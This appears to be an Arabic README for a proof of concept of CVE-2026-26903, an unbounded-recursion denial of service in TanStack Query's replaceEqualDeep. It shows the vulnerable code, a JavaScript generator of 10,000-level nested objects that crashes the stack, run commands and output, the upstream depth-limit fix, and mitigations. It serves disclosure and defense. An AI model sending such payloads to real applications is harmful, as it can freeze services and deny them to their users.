
إثبات مفهوم (PoC) لعرض CVE-2026-26903
رفض الخدمة عبر العودية غير المحدودة في دالة replaceEqualDeep في TanStack Query
يمكن لتحديث استعلام واحد مصمم بعناية يحتوي على كائنات متداخلة بعمق أن يجمد خيط JavaScript إلى أجل غير مسمى، مما يسبب عدم استجابة كاملة للتطبيق. لا يلزم أي مصادقة أو صلاحيات خاصة.
تم إصلاح هذه الثغرة في @tanstack/[email protected] عبر PR #10032، الذي نُشر في 14 يناير 2026.
| الحزمة | الإصدار المتأثر | الإصدار المُصلَح |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | يعتمد على query-core المتأثر | 5.90.18+ |
| @tanstack/vue-query | يعتمد على query-core المتأثر | 5.90.18+ |
| @tanstack/solid-query | يعتمد على query-core المتأثر | 5.90.18+ |
| @tanstack/svelte-query | يعتمد على query-core المتأثر | 6.1.7+ |
CVE-2026-26903: رفض الخدمة عبر العودية غير المحدودة في replaceEqualDeep (الخطورة: متوسطة)
تعمل دالة
replaceEqualDeepفي TanStack Query على مقارنة متكررة للكائنات المتداخلة دون حدود للعمق. عند معالجة هياكل بيانات متداخلة بعمق، يمكن أن يؤدي ذلك إلى عودية غير محدودة تتسبب في تجاوز سعة مكدس الاستدعاءات وتجميد التطبيق.— مُسند عبر MITRE
تُستخدم دالة replaceEqualDeep في TanStack Query داخليًا لتحديد ما إذا كانت بيانات الاستعلام قد تغيّرت فعليًا، مما يحسّن عمليات إعادة العرض عن طريق الحفاظ على مراجع الكائنات عند الإمكان. تتنقل الدالة بشكل متكرر عبر خصائص الكائن لإجراء مقارنة عميقة للمساواة.
يفتقر التنفيذ العودي إلى حدود للعمق أو كشف للدورات:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep مع بيانات متداخلة بعمقuseQuery مع بيانات استجابة متداخلةsetQueryData أو invalidateQueries أو أي عملية على ذاكرة التخزين المؤقت للاستعلاماتCVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
الخيار أ: عرض HTML مستقل (بدون تبعيات)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
الخيار ب: تطبيق React (سيناريو واقعي)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
يُنشئ إثبات المفهوم (PoC) كائنات متداخلة بعمق ويُطلق replaceEqualDeep لمعالجتها:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
تضيف كل استدعاء متكرر إطارًا جديدًا إلى المكدس حتى تُستنفد مكدس الاستدعاءات في محرك JavaScript، مما يجمد الخيط.
الموقع: @tanstack/query-core/src/utils.ts (تقريبي)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
يضيف هذا الإصلاح (المُطبَّق في TanStack Query commit 269351b) حدًا للعمق لمنع العودية غير المحدودة:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
التغييرات الرئيسية:
depth بقيمة افتراضية 0 لتتبع عمق العوديةb فورًا إذا كان depth > 500replaceEqualDeep(aItem, bItem, depth + 1)يمنع هذا الإصلاح البسيط تجاوز سعة المكدس مع السماح بمستويات تداخل معقولة (500 مستوى أكثر من كافٍ لهياكل البيانات في العالم الحقيقي).
قم بتنفيذ تحديد العمق في replaceEqualDeep:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
أو استخدم الاجتياز التكراري بدلاً من العودية.
تم تقديم إثبات المفهوم هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط. استخدمه بمسؤولية وفقط ضد تطبيقات تملكها أو لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه المعلومات.